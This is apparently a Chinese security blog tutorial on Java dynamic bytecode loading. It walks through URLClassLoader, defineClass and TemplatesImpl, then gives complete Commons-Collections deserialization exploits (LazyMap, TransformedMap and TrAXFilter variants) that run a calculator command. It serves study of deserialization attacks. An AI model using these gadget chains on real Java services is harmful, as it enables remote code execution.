什么是java的"字节码"
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。
众所周知,不同平台、不同CPU的计算机指令有差异,但因为Java是一门跨平台的编译型语言,所以这 些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台 的JVM虚拟机中。
甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文 件,都可以在JVM虚拟机中运行:
利用URLClassLoader加载远程class文件
java的ClassLoader是用来加载字节码文件最基础的方法
ClassLoader是一个”加载器“,告诉java虚拟机如何加载这个类。java默认的ClassLoader就是根据类名来加载类,这个类名是是完整路径,如java.lang.Runtime。
ClassLoader的概念不做深入分析,后面要说的这个ClassLoader:URLClassLoader。
URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程。
正常情况下,java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件加载,而这个基础路径分为三种情况:
URL不以斜杠/结尾,则认为是一个JAR文件,使用jarLoader来寻找类,即为在jar包中寻找.class文件
URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类
我们正常开发的时候遇到的是前二者,那什么时候才会出现使用Loader寻找类的情况呢?当然是非file协议的情况下,最常见的就是http协议。
我们可以用HTTP协议来测试一下,看java能否从远程HTTP服务器上加载.class文件。先在无软件包的情况下写个Hello.java,记得是写构造函数,写main是不会触发的
然后在当前目录下打开CMD,使用如下命令生成Hello.class
javac C:\Users\zhang\IdeaProjects\tjava\Hello.java
我们来看一下Hello.class里面的内容,其实没什么区别
然后在当前目录起一个http临时服务,同时写个url.java,运行url.java
package org.example;
import java.net.URL;
import java.net.URLClassLoader;
public class url {
public static void main(String[] args) throws Exception{
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();
}
}
成功请求到我们的 /Hello.class 文件,并执行了文件里的字节码,输出了"Hello World"。
所以,作为攻击者,如果我们能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以利 用远程加载的方式执行任意代码了。
利用ClassLoader#defineClass直接加载字节码
上一节中我们认识到了如何利用URLClassLoader加载远程Class文件,也就是字节码。其实,不管是加载远程Class文件,还是本地Class文件,java都经历的是下面这三个方法调用:
其中:
· loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里是双亲委派机制),在前面没有找到的情况下,执行findClass
· findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
· defineClass的作用是处理前面传入的字节码,将其处理成真正的java类
所以可见,真正核心的部分其实是defineClass,他决定了如何将一段字节流变成一个java类,java默认的ClassLoader#defineClass是一个native方法,逻辑在JVM的c语言代码中。
我们可以编写一个简单的代码,来演示如何让系统的defineClass来直接加载字节码:
package org.example;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}
注意一点,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在defineclass时也无法被直接调用到。所以,如果我们要使用defineclass在目标机器上执行任意代码,需要想办法调用构造函数。
执行了上述example,输出了Hello World:
这里,因为系统的ClassLoader#defineClass是一个保护属性,所以我们无法直接在外部访问,不得不适用反射的形式来调用
在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用攻击链TemplateIml的基石。
利用TemplateImpl加载字节码
虽然大部分上层开发者不会直接使用到defieClass方法,但是java底层还是有一些类用到了它(否则他也没有存在的价值了对吧),这就是TemplatesImpl。
com.sun.org.apache.internal.xsltc.TemplateImpl这个类定义了一个内部类TransletClassLoader:
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类里重写了defineClass方法,并且这里没有显式地声明其定义域。java中默认情况下,如果一个方法没有声明其作用域,其作用域为default。所以也就是说这里的defineclass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。
我们从TransletClassLoader#defineClass()向前追溯一下调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
追到最前面两个方法TemplatesImpl#getOutputProperties()、TemplatesImpl#newTransformer(),这两者的作用域是public,可以被外部调用。我们尝试用newTransformer()构造一个简单的POC:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
// 主程序
public class poc {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
分析链子
下面详细讲一下这个链得到的过程,我们知道在ClassLoader中的defineClass是protected
我们的目的是调用这个protected修饰的defineClass,有没有办法呢?在Templateslmpl.java处看到,它的TransletClassLoader类里也有defineClass,深入发现TransletClassLoader类是继承于ClassLoader,并且重写了defineClass方法。
并且我们发现TransletClassLoader的defineClass没有声明作用域,java中没有声明作用域就是default,那么这个时候我们可以通过TransletClassLoader的defineClass来调用——ClassLoader的defineClass。
通过find Usages看看谁调用了defineClass方法,在同文件的defineTransletClasses()中调用了defineClass()
但它还是private修饰,我们还得继续往前找谁调用了它。尝试find Usages,当前文件中有三个方法都调用了defineTransletClasses。
第一个是getTransletClasses方法
第二个是getTransletIndex方法
第三个是getTransletInstance方法
在上面我们知道,利用defineClass加载字节码,到后面要通过newInstance()进行初始化才能执行。而getTemplatesimpl里面恰好有newInstance(),首选就是它了。
再来find Usages,在newTransformer()中调用了getTransletInstance,而且它还是public修饰,意味着我们可以在外部调用它。
梳理一下这个链子大致调用
参数赋值
接下来看一下它们的参数赋值,最首先看到getTransletInstance()
我们需要对字节码进行初始化才能够调用,那么此时就要考虑newInstance()前面的_class[_transletIndex]可不可控,如果不可控,那么这条链几乎就废了。
Ctrl+点击查看了一下,两个变量初始值为null和-1
在newInstance周围翻一翻,在上面的defineTransletClasses里面对_class和_transletIndex的值进行了操作,我们跟进看看。
为了顺利走到这部分,我们得先满足一些条件,不然会报错停止运行
查看一下_tfactory的类型为TransformerFactoryImpl,但它有transient修饰,不会被反序列化
那么不会被反序列化,且这个_tfactory为null会报错,那么大概率是在它的readObject方法里对_tfactory进行了赋值,让它在反序列化时有值。
可以看到赋了值,那么这里我们只是测试,也让这个_tfactory等于这个值就好。
构造EXP
现在开始构造EXP吧,先来构建字节码进行命令执行,写个url类
然后点击构建,会在target下生成url.class
接着是defineClass执行的字节码参数,在defineTransletClasses处接收的是_bytecodes[i]
查看一下_bytecodes是个二维数组,而在上面遍历传值时是个一维数组,那么我们用个二维数组包裹着一维数组就好了
public class poc {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
此时不要忘记我们的目的,我们是想构造好条件看看_class[_transletIndex]可不可控。在TemplatesImpl下个断点测试,这时候就发现问题了。
那么这个时候我们想办法让_class[_transletIndex].newInstance()的_transletIndex等于0,让我们的恶意字节码_class[0]进行初始化,就可以执行命令了。
继续进行调试,if处判断字节码的父类是否等于ABSTRACT_TRANSLET,如果不是_transletIndex=-1,接下来进入else爆出空指针错误。后面还有个判断_transletIndex是否<0,如果小于又报错。
感觉很麻烦,其实我们只要让字节码的父类等于它要求的类即好。这样才会进入第一个if,让_transletIndex = i,此刻的i为0,也就是让_transletIndex = 0。不就恰好完成我们的前面所想的_class[_transletIndex]等于_class[0]吗?而且还不让后面报错,一举两得。
修改url.java让它继承父类的某个抽象类,并且实现抽象类还没实现的方法。把鼠标放在public处,点击电灯就可以自动实现了。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
// TemplatesImpl 的字节码构造
public class url extends AbstractTranslet {
public url() throws IOException{
super();
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
重新构建url.class,接下来POC就可以正常弹出计算器了
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
// 主程序
public class poc {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
完整EXP
上面我们做了那么多,其实只是把前面cc1尾部命令执行的逻辑换了而已。前面的还是差不多,换的目的是为了绕过黑名单(InvokerTransformer),直接拿cc1前面的代码修改就好。
Transformer数组里面改成调用的就好,其它的全部跟cc1差不多。
LazyMap版
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jboss.weld.manager.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
// 主程序
public class poc {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
//setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//obj.newTransformer();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object, Object> transformedMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler constructor = (InvocationHandler) construct.newInstance(Override.class, transformedMap);
Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, constructor);
Object o = construct.newInstance(Override.class, proxy);
//serialize(o);
unserialize("ser.bin");
}
//序列化数据
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
TransformMap版
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jboss.weld.manager.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
// 主程序
public class poc {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
//setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//obj.newTransformer();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transforedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annot = c.getDeclaredConstructor(Class.class,Map.class);
annot.setAccessible(true);
Object o = annot.newInstance(Target.class,transforedMap);
serialize(o);
unserialize("ser.bin");
}
//序列化数据
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
那其实在上面还是用到了InvokerTransformer,还不算真正的EXP,下面介绍要用到的类,第一个是TrAXFilter。它的构造函数传入了templates,再调用templates.newTransformer()
这样的话我们想办法利用它,就不需要通过InvokerTransformer来获取newTransformer了
而InstantiateTransformer恰好可以满足需求,它的构造函数传入三个值
关键处在于它的transform方法,通过getConstructor、newInstance来调用TrAXFilter的构造方法。
顺利弹出计算器
最后将它转变成Transformer[]的形式就行了,最终EXP
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jboss.weld.manager.Transform;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
// 主程序
public class poc {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
//setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//obj.newTransformer();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transforedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annot = c.getDeclaredConstructor(Class.class,Map.class);
annot.setAccessible(true);
Object o = annot.newInstance(Target.class,transforedMap);
serialize(o);
unserialize("ser.bin");
}
//序列化数据
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
参考文章
Java反序列化之字节码二三事 - FreeBuf网络安全行业门户
P牛Java安全漫谈 - 13.Java中动态加载字节码的那些方法